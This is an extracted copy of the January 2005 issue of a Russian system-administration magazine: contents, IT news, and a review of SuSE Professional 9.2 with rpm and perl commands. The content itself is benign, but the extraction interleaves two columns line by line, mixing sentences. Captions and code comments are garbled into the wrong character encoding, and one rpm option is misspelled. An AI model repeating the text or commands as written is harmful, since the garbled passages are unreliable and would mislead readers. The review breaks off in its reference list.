Вы находитесь на странице: 1из 98

№1(26) январь 2005

подписной индекс 81655


www.samag.ru

Обзор дистрибутива SuSE Professional 9.2


Прокси-сервер oops: первые впечатления
Как защищают программное обеспечение
Путешествие из Perl в Excel
Нити в Perl
HOTSPOT – это просто!
Программное управление
файловой системой
с помощью VBScript
Восстановление NTFS
Организация общего доступа
в Интернет и защиты от вторжений
№1(26) январь 2005

на основе Kerio WinRoute Firewall 6


оглавление

ТЕНДЕНЦИИ 2 Защита сетевых сервисов


с помощью stunnel
АДМИНИСТРИРОВАНИЕ Часть 2
SuSE 9.2 снаружи и изнутри Андрей Бешков
tigrisha@sysadmins.ru 46
Алексей Барабанов
alekseybb@mail.ru 3 Все в одном, или Hogwash
как пример Gateway-IDS
Linux из Редмонда:
обзор Lycoris Desktop/LX Сергей Яремчук
grinder@ua.fm 50
Валентин Синицын
val@linuxcenter.ru 8 ПРОГРАММИРОВАНИЕ
Прокси-сервер oops: Путешествие из Perl в Excel
первые впечатления
Сергей Супрунов
Сергей Супрунов amsand@rambler.ru 56
amsand@rambler.ru 12
Нити в Perl
Программное управление файловой
системой с помощью VBScript Алексей Мичурин
alexey@office-a.mtu-net.ru 62
Иван Коробко
ikorobko@prosv.ru 17 WEB
HOTSPOT – это просто! JpGraph
Андрей Платонов Кирилл Сухов
Platonov@tayle.com 22 geol@altertech.ru 70

БЕЗОПАСНОСТЬ Веб-сервис для разработчиков сайтов


Организация общего доступа Даниил Алиевский
в Интернет и защиты от вторжений daniel@siams.com 77
на основе Kerio WinRoute Firewall 6
HARDWARE
Роман Марков
stepan-razin@newmail.ru 28 Запись дисков CD-R/RW в Linux
Часть 3
Защита файловой системы
при помощи нестандартного Владимир Мешков
использования снапшотов ubob@mail.ru 78
в программе ShadowUser
ОБРАЗОВАНИЕ
Денис Батранков
denis@gov.ru 35 Обучение при помощи ATutor
Как защищают Сергей Яремчук
программное обеспечение grinder@ua.fm 84
Крис Касперски Восстановление NTFS –
kk@sendmail.ru 38 undelete своими руками
Сетевой полицейский Крис Касперски
kk@sendmail.ru 88
Сергей Яремчук
grinder@ua.fm 42 BUGTRAQ 49, 61, 76, 83
№1, январь 2005 1
тенденции
Новые технологии HP нагрузками, кластерное ПО HP Serviceguard для HP-UX 11i
25 января в отеле «Пента Ренессанс» прошла пресс-кон- и Linux для повышения доступности в средах Oracle и SAP
ференция компании HP, посвященная представлению но- и многое другое.
вых серверов семейства HP Integrity среднего и старшего Кирилл Тихонов
уровня на базе нового процессора Madison9M.
Во вступительном слове Дмитрий Пенязь, руководитель Череда новогодних UNIX-релизов
подразделения бизнес-критичных серверных решений в Первого января состоялся выпуск очередного (четвертого)
России и странах СНГ, рассказал о стратегии развития биз- обновления к последней стабильной версии Debian GNU/Linux
нес-критических систем HP и причинах перехода на архи- (3.0, «woody»). В rev4 представлены накопившиеся за пос-
тектуру Intel Itanium 2. ледний месяц заплатки к найденным уязвимостям, доступ-
ные на security.debian.org, и незначительные исправления
ошибок. Михльмаер, лидер проекта, тем временем, сообща-
ет, что новая стабильная версия дистрибутива – «Sarge» –
появится «в начале этого года». 4 января Mandrakesoft анон-
сирует свои новые Linux-продукты для корпоративных пользо-
вателей: Corporate Server и Corporate Desktop, оснащенные
всем лучшим из наработок компании в сочетании с откры-
тым и коммерческим ПО, а также с качественным уровнем
обслуживания и 5-годовой поддержкой. Патрик Волкердинг,
несмотря на продолжающиеся исследования состояния здо-
ровья, выпускает бета-релиз Slackware 10.1, а также просит
всех пользователей не беспокоиться о будущем системы: она
в надежных в руках и без поддержки не останется. 19 янва-
Äìèòðèé Ïåíÿçü, ðóêîâîäèòåëü ïîäðàçäåëåíèÿ áèçíåñ-êðèòè÷- ря до восьмой (8.0) версии обновляется популярная и много-
íûõ ñåðâåðíûõ ðåøåíèé â Ðîññèè è ñòðàíàõ ÑÍÃ. Îëåã Âàñü-
êîâ, ìåíåäæåð íàïðàâëåíèÿ ñåðâåðíûõ ðåøåíèé äåïàðòàìåíòà функциональная открытая база данных PostgreSQL, для ко-
òåõíîëîãè÷åñêèõ ðåøåíèé, HP Ðîññèÿ торой серверная Win32-платформа становится «родной». 25
В процессоре Intel Itanium 2 повышена частота до 1.6, января выходит в свет очередной стабильный релиз FreeBSD
1.5 Ггц, увеличен кэш второго уровня до 9 Мб. За счет би- из четвертой ветки – 4.11-RELEASE. Все традиционно: пат-
нарной совместимости ОС с двухпроцессорными модуля- чи, поддержка новых устройств, небольшие улучшения.
ми HP mx2 и процессорами Intel Itanium 2 6M замена про-
цессоров не требует перекомпиляции приложений, а оди- Sun и Open Source
наковый процессорный разъем и совместимость с набора- Sun Microsystems продолжает подчеркивать свою благо-
ми микросхем HP zx1 и HP sx1000 призваны обеспечить склонность к открытым и бесплатным проектам: сначала
легкую миграцию на Itanium 2. компания выкладывает для свободного скачивания Linux-
Повышена масштабируемость и гибкость в Linux-реше- систему Java Desktop System 2.0, а затем и исходники Java
ниях: вдвое увеличено количество процессоров – с 8 до 16 6 «Mustang». Кроме того, представители Sun не перестают
под управлением SUSE Linux Enterprise Server 9 на базе говорить об открытии Solaris, и в конце месяца осуществ-
последней версии ядра 2.6, добавлены расширенные воз- ляется первый шаг уже широко разрекламированной ак-
можности по виртуализации с использованием Global ции: структура DTrace, одна из составляющих операцион-
Workload Manager. Усилена безопасность и добавлены но- ной системы, опубликована под Open Source лицензией
вые возможности управления вычислительными нагрузка- CDDL. В сети появляется веб-сайт, посвященный проводи-
ми в HP-UX 11i. Для Windows добавлены новые возможно- мой Sun кампании, – www.opensolaris.org. Также поддерж-
сти Systems Insight Manager и Intergity iLO. ку Open Source в очередной раз демонстрирует и IBM, пре-
Также на серверах HP Integrity теперь работает опера- доставив в свободное пользование 500 своих патентов.
ционная система OpenVMS 8.2. Система работает на 3 ап-
паратных платформах – VAX, Alpha и Itanium. Поскольку эта Очередные пополнения в Linux-группах
ОС построена на базе общих исходных текстов, это позво- AMD и RealNetworks становятся спонсорами грядущей кон-
лит в дальнейшем выпускать модули модернизации ОС сра- ференции Desktop Summit, учрежденной компанией Linspire
зу для HP Intergity и HP AlphaServer. OpenVMS 8.2 поддер- и посвященной обсуждению открытого программного обес-
живает «смешанные» кластерные конфигурации, состоя- печения. Китайские разработчики из Red Flag Software,
щие из узлов HP Integrity и HP AlphaSever (SSI до 96 узлов активно готовящие к лету релиз Asianux 2.0, примыкают к
с расстоянием до 800 км). По заявлениям сотрудников HP Linux-лаборатории OSDL. А позже в OSDL приходит и Трид-
кластеры из 3 платформ официально не поддерживаются, желл, автор Samba, который, став вторым после Линуса
но также работают. Торвальдса «OSDL Fellow», продолжит работу над «крити-
Продолжаются работы в направлении виртуализации. чески важным компонентом для Linux» при поддержке гло-
В HP Virtual Server Environment внесены следующие усовер- бального Linux-консорциума.
шенствования: для платформы Windows – оплата по прин-
ципу коммунальных платежей (HP Pay Per Use for Windows), Составил Дмитрий Шурупов
для HP-UX 11i и Linux – ПО управления вычислительными по материалам www.nixp.ru

2
администрирование

SuSE 9.2 СНАРУЖИ И ИЗНУТРИ


ОБЗОР ДИСТРИБУТИВА
SuSE Professional 9.2

АЛЕКСЕЙ БАРАБАНОВ
Как известно, с 8 ноября прошлого года официально нача- предлагается русский язык, и причем вполне корректно, если
лись продажи новейшего дистрибутива от SuSE с номером не считать фразы вроде «Кликните на любом заголовке, что-
9.2 [1]. В результате бурного развития процессов глобализа- бы сделать изменения» и странное изменение числа с «На-
ции уже 11 ноября можно было заказать этот дистрибутив стройка устройства» (одного!) на «Настройку оборудования»
на nixp.ru [2], и спустя всего две недели после начала про- (уже многих) при движении по этому меню. То есть русский
даж один из таких заказов был доставлен мне. Еще немно- язык можно смело выбирать без риска получить нечитае-
го, и можно будет получать новые выпуски SuSE раньше, мые сообщения на экране. Тем более это приятно для жите-
чем сами трудолюбивые немцы увидят их в магазинах, точ- лей зоны GMT+3, которая ставится в этом случае автомати-
но так же, как и последние голливудские фильмы раньше чески, как и вообще вся остальная локализация для «Евро-
американцев. Это не шутка, ибо выложить на ftp получен- па/Россия», в том числе ru_RU.UTF-8 и переключение языка
ный дистрибутив в нашей стране можно было бы прямо ввода через <Ctrl+Shif>. Не забыли даже русскую локализа-
тогда же, а вот сама SuSE смогла разместить версию ftp на цию в KDE, что ранее бывало частенько. Хотя в важных слу-
официальных зеркалах [3] лишь 5 января 2005 года, то есть, чаях, когда надо получить однозначный и вразумительный
как обычно, спустя пару месяцев. ответ от пользователя, установщик снова теряет доверие к
Теперь делюсь некоторыми впечатлениями. Кто ожидает русскому переводу и переходит на привычный английский.
услышать подробное step-by-step по настройке станции на Например, после уточнения параметров установки подтвер-
SuSE, увы, не найдет этого. Здесь лишь некоторая инфор- ждение требуется на англо-русском, предлагая выбор меж-
мация и личные ощущения от последнего дистрибутива в ду «Назад» и «Install».
сравнении с предыдущими. Скриншоты экранов и реклама Далее все как обычно. Снова SuSE по умолчанию пред-
«все ставьте SuSE» тоже представляется малоинформатив- лагает ставить reiserfs, к которой идеологи компании испы-
ной именно потому, что установка системы не представляет тывают труднообъяснимую мужскую симпатию. Если кому
проблемы в подавляющем большинстве случаев, и поэтому еще не известно, то в процессе установки доступны допол-
приведение доказательств ее успешного проведения лишь нительные консоли через <Alt+F№>, на которых можно про-
вызывает сомнения в адекватности респондента. Хотя же- следить как ход установки, так и подправить что-то. Напри-
лающие могут полюбоваться снимками экранов на сайте мер, подгрузить недостающие модули или удалить что-то,
SuSE [1], то есть теперь уже на разделе сайта Novell. если установка идет поверх старой версии.
Итак, начинаем установку на простенькое железо iC1700- Итак, установка началась. В прогнозе заявлено, что она
i845+ti4200+lcd15”. Все назначаем «по дефолту». Сразу за- завершится через 38 минут. Причем в этой версии время
метно, что заставки установщика обрели «казенную» новел- считается как до окончания всей установки, так и до запро-
ловскую стилистику. Собственно SuSE и так не отличался са нового CD. То есть, теоретически до запроса очередного
игривостью MDK (пингвинчики во всяких видах и проч.), по- CD можно устроить легкий кофе-брейк.
скольку делался прагматичными немцами, но теперь даже Но скучать и перекуривать некогда. Выходим, как и пре-
окантовка модальных окон linuxrc получила засечки в стиле дупреждали, в соседнюю консоль и подсматриваем, в каком
MS Windows-286. Если судить по экрану загрузки установ- режиме происходит установка. По тривиальному запросу «ps
щика системы, то все постепенно обретает черты посинев- xua» узнаем, что y2base запускает для установки каждого
шей Netware. Еще одно почти косметическое изменение про- пакета нечто вроде следующего (в фигурных скобках ком-
изошло с кодом управления заставкой загрузчика. Уже при- ментарии автора):
вычный код F2 для включения детализации изменен на Esc,
что плохо, поскольку это общепринятый код отмены, и если rpm –root /mnt –dbpath /var/lib/rpm -U –-persent
--nosignature {à âäðóã ìàíòåéíåðû «ëåâûå» ïîïàäóòñÿ}
он случайно «зависнет» в буфере или просто продублирует- --force {ñèñòåìó ñòàâèòü, çàòèðàÿ âñå êîíôëèêòíûå ôàéëû}
ся из-за неисправной клавиатуры, то его может получить --nodeps {àâòîðû linuxrc âîîáùå íå äîâåðÿþò íèêîìó
èç suse/people}
первое загруженное приложение. Такой выбор можно объяс- --ignoresize {èãíîðèðîâàòü, òàê âñå, «äî êó÷è»!}
нить только влиянием Novell и стереотипами виндового GUI. /var/adm/YaST/InstSrcManager/IS_CACHE_0x00000001 ↵
/MEDIA/suse/...*.rpm
В этой версии установщика, как и в предыдущей, снова

№1, январь 2005 3


администрирование
Вопреки тому, что в формате rpm присутствуют связи, и по известной методе [4] и устанавливаем так, как и плани-
в базе rpm-пакеты регистрируются тоже с учетом связей, и ровалось, со всеми настройками по умолчанию.
сам дистрибутив SuSE относится к rpm-дистрибутивам, но Конечно, как не перекладывай дистрибутив с CD на DVD,
по давней традиции и в силу происхождения SuSE от все равно версия, поставляемая на CD, содержит менее двух
Slackware установщик этого чудного изделия напрочь игно- с половиной тысяч пакетов, что совершенно не удовлетво-
рирует преимущества формата rpm перед tgz. И несмотря рительно для SuSE и совершенно недостаточно для рабо-
на такую явно беспроигрышную манеру установки инстал- ты. Скажем так, непривычна подобная бедность пользова-
ляция в первый раз «замерзает» на файле fonts-config- телям SuSE. Работая с продукцией этой фирмы, практи-
20041001-2. Выяснение источника проблемы указывает, что чески не приходится прибегать к использованию пакетов
процесс rpm с номером 4062 имеет статус D+, что, скорее из других источников, кроме установочных носителей. И к
всего, не лечится. Огорчению нет конца – а вдруг fonts-config этим прекрасным привычкам возвращает использование
«битый»? Ведь использовался не оригинальный диск, а все- двухслойного DVD из дистрибутива SuSE, полученного из
го лишь дубликат, выполненный на непрофессиональном того же источника, что и первая копия [1]. Число разме-
оборудовании. Но что делать, надо спасать ситуацию. Выру- щенных там пакетов приближается к привычному пределу
чают, как обычно, «три заветные кнопки». И здесь получаем в четыре тысячи. Дифференциальный список составляет
второй сюрприз! Эксперимент проводился на компьютере, 1623 пакета [5]. Там очень много достаточно важных эле-
где уже ранее стоял SuSE 9.1 и одновременно с этим была ментов. Например, все относящееся к IP-телефонии AtaAuto,
рабочая копия Windows. Но вот незадача, у коллектива SuSE asterisk, bayonne и весь набор openh323. Все приложения,
кроме симпатии к Хансу Рейзеру есть еще одна – к разра- необходимые для создания вычислительных кластеров и
ботчикам GRUB. И они усиленно насаждают именно его в кластеров heartbeat. Важные серверные приложения
качестве системного загрузчика. Так как вторая стадия GRUB arpwatch, apcupsd, nagios. То, без чего просто не построить
находилась на разделе, который был только что сформати- сетевой коммутатор, bridge-utils и ebtables. Большое число
рован в процессе установки, то Windows стал недоступен. приложений из разряда security, например tynyca и набор
Использование другого загрузчика, например LILO, могло бы утилит и библиотек для работы с электронными ключами и
избавить пользователей от подобных проблем. картами pcsc. Большинство пакетов разряда *-devel также
Короче, отступать некуда, надо ставить SuSE во что бы размещено только на DVD, включая и компилятор для NET.
то ни стало. Во второй раз выбираем минимальную конфи- В разряд «не для всех» попал даже PostgreSQL и совер-
гурацию установки. Система прогнозирует установку па- шенно необходимый на взгляд автора leafnode. Короче,
кетов общим объемом 350 Мб, ставится только с первого крайне не рекомендуется использовать дистрибутив на CD,
CD и предполагает время своей установки в 5 минут. Надо чтобы не испортить впечатление от нового SuSE, особенно
отметить, что не обманывает, ставится успешно именно за для тех, кто сталкивается с этим дистрибутивом впервые.
5 минут. Поэтому откладываем урезанный вариант в коллекцию
После первой перезагрузки YaST запрашивает пароль и далее работаем только с полной DVD-версией. Проверка
суперпользователя, предлагает настроить сеть и сразу же на железе проходит безупречно. Более интересный резуль-
установить межсетевой экран. Последнее так же приятно, тат показывает установка в среду виртуальной машины
как и неожиданно. Далее следует предложение создать VMware5 beta, запущенной под SuSE 9.1. Установщик не-
пользовательские бюджеты. Здесь надо отметить еще один правильно понимает виртуальную видеокарту и переходит
положительный момент. Теперь SuSE по умолчанию сразу на общение в текстовом режиме, хотя и предлагает уста-
воспринимает длинные пароли, а не редуцирует их до 8 сим- новку графической среды. Которая, будучи запущенной
волов. после перезагрузки, не только отлично работает, но и пос-
Из негатива – то, что в минимальную установку снова ле установки режима с большим разрешением, чем стар-
не вошел mc. Эта утилита периодически вносится в мини- товые 640 на 480, прекрасно его держит. Все остальное
мальную систему, поскольку рациональна и удобна, и с не- также безупречно. То есть, такая проверка выявляет отсут-
изменным постоянством изымается, поскольку презирае- ствие должных деловых контактов между командой разра-
ма юниксовыми снобами. В релизе SuSE 9.2 снобы побе- ботчиков linuxrc и командой, совершенствующей YaST.
дили. А может, победило соображение, что mc собирается Дистрибуция SuSE является очень динамическим обра-
обычно с зависимостями от библиотек Xfree86 и множества зованием. Релизы выпускаются по меньшей мере дважды
утилит, а этого стараются избегать в минимальной устано- в год, а между выпусками постоянно вносятся исправления.
вочной системе. Уже много лет подряд главным признаком скорого появле-
Полностью минимальная система занимает 705 Мб дис- ния очередного дистрибутива является создание на офи-
кового объема. Это несколько больше, чем размеры подоб- циальных зеркалах SuSE [3] директории с обновлениями к
ных установок большинства дистрибутивов, и практически еще не выпущенному дистрибутиву. Итак, обновления – и
вплотную приближается к разумному пределу для понятия благо, и источник беспокойства. Зачастую их объем весьма
минимальное в отношении Linux-дистрибуции, поскольку си- значителен. Так, например, спустя менее 2 месяцев после
стема большего объема уже не сможет быть клонирована начала продаж объем обновлений к новому SuSE уже пре-
с помощью CD без компрессии. вышает 500 Мб. Это приводит к тому, что свежепоставлен-
Но успешная установка показала, что с копией дистри- ная система сразу же требует потратить значительный тра-
бутива все ОК. Чтобы не заниматься утомительным пере- фик на ее доведение до соответствия всем последним из-
биранием CD, дистрибутив с CD-дисков переносим на DVD менениям, в том числе и по безопасности. Поэтому разум-

4
администрирование
но или заранее скачать обновления и добавить их к дист- Разберемся, в чем же дело. Может, стоит всем дружно
рибутивному DVD, как подсказано по ссылке [4], или сде- перейти на новую 64-битную архитектуру. Создадим спис-
лать специальный patch-диск. Для создания такого диска ки пакетов в разделах i586 и x86_64 с помощью простень-
надо разместить в корне подготовленного ISO-имиджа це- кого скрипта вроде следующего:
почку вложенных директорий i386/update/9.2/*, подобно тому
как они размещаются на ftp-зеркалах, например, в # ls -l /mnt/suse/i586 | perl -ni -e ↵
'@s=split(/\d\d\:\d\d); @q=split(/-(\d)*\./,$s[1]); ↵
ftp.mirrors.net.ar/pub/suse/i386/update и так далее. Внутри print $q[0], "\n"' | sort -u >i586.list
должна обязательно присутствовать директория patches/,
содержащая информацию о патчах, и директория rpm/, в И тоже для другой архитектуры. А потом сравним полу-
которой внутри директорий одноименных с названиями ар- ченное с помощью diff:
хитектур, а именно i586, noarch и x86_64, размещены соб-
ственно патчи. Это все. Достаточно создать такие директо- # diff x86_64.list i586.list > x86_64-i586.list
рии, наполнить их файлами с ftp, записать на диск, и тогда
можно выбирать в YaST пункт меню «Обновление с patch Заглянув в полученный дифференциальный список, рас-
CD» и устанавливать апдейты прямо с созданного диска. крываем секрет несоразмерно большого числа пакетов для
Теперь снова вернемся к вопросу переноса дистрибу- x86_64. В разделе x86_64 дополнительно уложены пакеты,
тива SuSE на DVD, но уже не с набора CD, а с дорогого содержащие 32-битные версии. Это вызвано спецификой
двухслойного на обычный и дешевый. Изначально размер обработки платформенных зависимостей менеджером rpm.
имиджа такого оригинального Double Layer DVD составля- Например, arts из i586 содержит полную версию для IA32.
ет 7680 Мб. Если выкинуть директорию, содержащую фай- Аналогичный пакет arts из x86_64 содержит полную вер-
лы для 64-битной архитектуры, то останется 4971 Мб. Опять сию для 64-битной архитектуры, а добавка arts-32bit содер-
недостаточно. Значит, вопрос в том, что сократить еще. Тео- жит только библиотеки от архитектуры IA32. Теоретически
ретически, надо удалить некоторое число пакетов общим эти библиотеки можно было бы экстрагировать из пакетов
объемом 200 Мб. Самое простое – выкинуть локализацию, раздела i586, но практически rpm так не умеет делать, и
кроме русской и 5 европейских языков – английского, не- поэтому мы обречены произвести второй подсчет, но уже
мецкого, французского, испанского и итальянского. Из ува- исключив пакеты с суффиксом 32bit в имени.
жения к Барселоне оставим еще и каталонский. Украинский
само собой тоже. Итак, удаляем «лишние» локализации из # cat x86_64.list | grep -v 32bit >x86_64only.list
# diff x86_64only.list i586.list > x86_64-i586.list
OpenOffice, aspell, ispell, kde3-i18n, koffice-i18n, mozilla, myspell,
ted. Общим числом 160 и общим объемом на 491 Мб [7]. Полный результат можно посмотреть по ссылке [9]. Этот
Остается 4497 Мб, которые и укладываем в новый имидж. В список сообщает, что счастливые обладатели компьютеров
итоге получили 4352 Мб в готовом образе DVD. Иначе гово- на 64-битных процессорах не смогут пользоваться практи-
ря, проявив немного более решительности в избавлении от чески всеми имеющимися в дистрибутиве эмуляторами от
лингвистических излишков, можно еще получить место для FAUmachine до wine и dosemu.
добавления нужных утилит из сборников третьих произво- Им будет недоступно огромное число драйверов, вклю-
дителей [8]. Например, тот самый Mplayer сборки из misc/ чая и драйвера софтмодемов. Будут лишены они и OpenOffice
packman/suse/9.2/. Важно отметить, YaST опознает диск в вместе с Acroread, и RealPlayer. Заодно и etherboot с netboot.
непримонтированном состоянии по меткам ISO9660. Ключе- Короче, тестировать такие компьютеры уже можно, но ра-
выми являются метки Volume, Publisher и Application. Если ботать все-таки лучше на традиционных.
установка некоторого дистрибутива происходила с диска, Но уверен, что строка чисел, относящихся к FTP-версии,
который был далее модифицирован, то новый ISO9660- также должна вызвать вопросы. Традиционно в SuSE вер-
имидж надо создавать точно с такими метками, иначе YaST сия, подготовленная для FTP, то есть практически для бес-
его не «почувствует». платного скачивания, всегда выходила позже, что очевидно,
Отметим некоторые метрики. В SuSE92 для архитекту- и, как правило, с ограничениями, которые были вызваны не
ры IA32 предложено 332 пакета, а для x86_64 уже 3972! Если проблемами хостинга, а тем, что в «коробочную» версию
учесть, что 6 пакетов в IA32 продублированы в i586 и в i686, добавлялись программные продукты, специально подготов-
то получается еще меньше, а именно 3926. Кстати, во всех ленные для промоутинга. Например, демо Loki Games или
дальнейших подсчетах продублированные пакеты создают релизы VMWare. Конечно, на FTP это отсутствовало. Но со
некоторое расхождение в полученных суммах с листингами, временем разница между «коробкой» и FTP становилась все
созданными утилитой diff и другими. В версии CD всего 2311 меньше и меньше. Настоящий релиз не исключение. В кате-
пакетов в числе которых 6 для i686, то есть реально 2305. гории i586 в FTP недостает лишь BEAJava2-JRE, BEAJava2-
Вот итоговые числа, сведенные для наглядности в таб- SDK, что совсем не обижает, ну сколько же можно коллекци-
лицу. онировать Java-клонов, особенно производства таких ком-
паний, которые не желают открыто размещать свои продук-
ты. А в категории x86_64 даже наметилось превосходство
FTP-релиза! Добавлен «свеженький» драйвер km_usbvision
для веб-камер Zoran/Nogatech USBVision. Другими словами,
FTP-версия ничем не уступает, а если учесть то, что пакеты,
в нее входящие, имеют более «свежие» индексы, то и пре-

№1, январь 2005 5


администрирование
восходит «коробочный» вариант, поэтому счастливые вла- OpenOffice_org = 1.1.3-16
дельцы безлимитных подключений к Интернету могут сме- myspell-italian
fileutils
ло выкачивать с зеркал SuSE [3] FTP-версию последнего ди-
стрибутива и, переложив ее на DVD, как описано в [4], ста- Итак, пакет турецкой локализации расходится с паке-
вить на свои рабочие станции и сервера. том итальянской локализации ровно в одном требовании –
Может сложиться впечатление, что в SuSE совершенно OpenOffice_org-en-help. Проверим, что в свою очередь тре-
напрасно потратились на CD в своем дистрибутиве. Прак- бует этот пакет :
тически, да. Лишь одно оправдание есть для CD. Первый
из них играет важную роль как спасательный диск и диск # rpm --requires -qp ↵
OpenOffice_org-en-help-1.1.3-16.i586.rpm | grep -v ^rpmlib
для установки минимальной системы. Точнее, установка
OpenOffice_org-lang
SuSE производится в два этапа. На первом этапе система
в базовом варианте устанавливается только с первого дис- Следующий кандидат на проверку OpenOffice_org-lang
ка. Затем происходит перезагрузка, и далее ставятся не- отсутствует в списке пакетов. Но, запросив, список обес-
достающие пакеты с других дисков, если это необходимо. печиваемых ресурсов у конфликтного пакета, получим :
Поэтому набор пакетов на первом диске является самодо-
статочным с точки зрения связей rpm [10]. Это говорит о # rpm --provides -qp OpenOffice_org-tr-1.1.3-16.i586.rpm
высоком качестве сборки. Замечу, что до версии 7.3 SuSE – OpenOffice_org-lang
о таком можно было лишь мечтать. Инженеры SuSE посте- ooo-i18n:/usr/lib/ooo-1.1/program/resource/vcl64590.res
OpenOffice_org-tr = 1.1.3-16
пенно, путем проб и ошибок, приходят ко многим очевид-
ным для остальных истинам. Например, столь долго всех Как видно, OpenOffice_org-tr ссылается сам на себя по
удивлявшие полной никчемностью, Live Evaluation CD на- цепочке. Значит, совсем не зря установка пакетов происхо-
чиная с версии 9.1 трансформировались в полноценные Live дит без учета зависимостей rpm. И благодаря этому канди-
CD. Но вместо этого появилась новая странная вещь, так даты на вступление в дружную европейскую семью могут не
называемый SuSE-Linux-9.2-mini-installation.iso. Это загру- беспокоиться, у них не будет проблем в использовании SuSE.
зочная часть стандартного дистрибутивного носителя вме- Но тем не менее каждый может заглянуть в spec в исходни-
сте с initrd установщиков и спасательных дисков. Как напи- ках турецкого локализатора и узнать автора этой несураз-
сано в сопровождающем этот артефакт README.txt, сие ности.
предназначено для установки никак не минимального, а Найденное есть сущая мелочь. Можно отметить высокое
полного релиза SuSE с удаленного примонтированного ре- качество сборки дистрибутива. Предположим, что этот дис-
позитория. Можно предположить, что это что-то вроде ба- трибутив может быть помещен под управление apt без ка-
зовой системы Debian для установки с официальных зер- ких-либо существенных правок. Еще парочка релизов, и
кал. Но нет. Имидж этот лежит уже давно, а ftp-версия SuSE SuSE можно «из коробки» ставить не только YaST, но и apt и
только-только появилась. Короче, загадочно назначение даже просто последовательно с помощью тривиального rpm.
этого продукта мысли, если только не принять версию, что Снова вернемся к составу дистрибутива SuSE 9.2 на
ftp-установщик выложили за пару месяцев до ftp-релиза из- DVD. Там 7230 пакетов. Исключив 3298 тех, что относятся
за неожиданного перевыполнения графика работ. Но есть к x86_64, получим 3932 пакета, что на 1621 пакет больше,
надежда, что со временем все эти робкие попытки позна- чем в CD версии. То есть дистрибутив на DVD напоминает
ния истины приведут к тому, что в SuSE догадаются соеди- тот самый, привычный всем SuSE, в котором обычно было
нить Live-CD, CD1 и псевдо-mini-installation в один имидж, всегда примерно 4000 пакетов. Пакеты «росли» и «толсте-
выкинув все остальные CD из дистрибутива совсем. ли», старые «съеживались» и исчезали, новые приходили
Проанализировав rpm-зависимости всего дистрибутива, сразу изрядного объема. Все это увеличивало размеры
а не только лишь первого CD, обнаруживаем небольшую дистрибутивных носителей, но число пакетов всегда оста-
проблему [11] в сборке одного пакета из OpenOffice. В нача- валось в пределах 4 тысяч. Итак, если проблемы с турец-
ле отчета сборщика связей содержится сообщение об ошиб- кой локализацией ОpenОffice решат до принятия Турции в
ке следующего содержания: «При обработке пакета Open ЕС, то у SuSE 9.3 прекрасные перспективы. Хотя, если при-
Office_org-tr-1.1.3-16.i586.rpm, который уже в группе 65, об- нять в расчет ускорение прогресса, благодаря которому
наружено что он взаимно связан с пакетом OpenOffice_org- последний минорный индекс 4 был только у SuSE 6.4, а
1.1.3-16.i586.rpm, который уже в группе 66». Непонятно, что- минорный индекс 3 у SuSE 7.3, то шансов увидеть SuSE 9.3
то в чем-то, а не где-то... Посмотрим поточнее, что требует гораздо меньше, чем SuSE 10.0.
упомянутый в сообщении пакет и сравним это с аналогич- Но попробуем сравнить настоящий выпуск SuSE с пре-
ным, так как речь идет об одном из локализующих добавле- дыдущим. Что происходит? Развитие, регресс или стагна-
ний в OpenOffice. ция. Проведем сравнение по нескольким параметрам.
Сначала по объему. В релизе 9.1 было 3446 пакетов для
# rpm --requires -qp OpenOffice_org-tr-1.1.3-16.i586.rpm ↵ архитектуры IA32 и noarch. В 9.2 уже 3932 для IA32 и noarch
| grep -v ^rpmlib
и еще 3298 только для 64-битной архитектуры. Другими сло-
OpenOffice_org = 1.1.3-16 вами, объем вырос. Чего не скажешь о цене, что приятно.
OpenOffice_org-en-help
fileutils Предыдущий выпуск SuSE был переходным с точки зре-
# rpm --requires -qp OpenOffice_org-it-1.1.3-16.i586.rpm ↵ ния версии ядра. Но вопреки обычной практике, когда в пе-
| grep -v ^rpmlib реходном дистрибутиве предлагалось и новое ядро, и остав-

6
администрирование
лялась возможность работы со старым, в 9.1 выбора не ос- с первой буквой «j» вплоть до ejb и даже cryptix. Но доби-
тавили и принудительно всех «пересадили» на ядро 2.6.4. И ли совершенно шеллом на все том же java bsh. Теперь не
поскольку использованное в коробочной версии ядро оказа- пользоваться java все труднее и труднее.
лось неудачным, то впервые SuSE выпустила не просто ис- ! Ну и напоследок, так как yast2 в развитии достиг небы-
правляющий апдейт, а полную смену ядра на следующую валых высот, то отладочный плагин yast2-debugger ему
версию 2.6.5. То есть в этом смысле релиз 9.1 явно не удал- стал не нужен. А вместо этого получили новые модули
ся. В настоящем релизе используется ядро 2.6.8, что внуша- yast2-bluetooth, yast2-bootfloppy, yast2-irda, yast2-uml.
ет доверие, учитывая его младший индекс и почти полугодо-
вую историю эксплуатации ядер 2.6 в SuSE. Но с другой сто- Каждый волен расставить свои оценки напротив пере-
роны, в новом дистрибутиве уже сменили версию Samba с численных пунктов. Но вряд ли оценки могут полностью не-
3.0.7 на 3.0.9. То есть «еще не вечер», а лишь первые пара гативными. Пользователи SuSE 9.2, вероятно, более приоб-
месяцев из средней полугодовой «жизни» релиза. рели, чем потеряли. Главное, что осталось в SuSE, это высо-
Теперь более подробно рассмотрим, что же конкретно кое качество и чисто немецкая добротность всего, что выхо-
было удалено из дистрибутива и что было добавлено вза- дит под маркой SuSE. Для иллюстрации последнего утверж-
мен. Полный список очень велик [12]. Далее некоторые вы- дения сошлюсь на положительный опыт установки в SuSE
держки из него. 9.2 специального программного продукта Wine Rack, выпу-
! Расстались с чрезвычайно необходимой игрушкой 3d_ щенного к версии SuSE 9.0. Фактически это CrossOver Office,
chess, перестали играть в машинки racer, racer-addons то есть специально собранный wine. Этот продукт ставится
и в прочую ерунду tuxeyes, xmine. Но обрели последние поверх нового SuSE и позволяет далее устанавливать в свою
популярные средства IP-телефонии Asterisk вместе со среду различные приложения для MS Windows. Например,
спокойными вдумчивыми пазлом fillets-ng. как видно на снимке экрана [13], в KDE одновременно рабо-
! Потеряли Keramic стиль в Gtk Geramik, а заодно и дру- тают встроенный браузер Konqueror и IE6.
гие темы gtk-themes-20001105, но приобрели новые
драйвера для софтмодемов Intel-536ep и Intel-537ep, вы- Полезные ссылки:
кинув при этом старые hsflinmodem, km_hsflinmodem. 1. Официальный обзор SuSE 9.2: http://www.novell.com/ru-ru/
! Вот сюрприз! Выкинули весь Xfree86! А взамен получи- products/linuxprofessional/overview.html. Там же можно по-
ли Xorg! смотреть и скриншоты с десктопов этого дистрибутива.
! Вот еще новинки для любителей. Детектор вторжения 2. Покупка копии: http://www.nixp.ru/cdrom. Здесь вы полу-
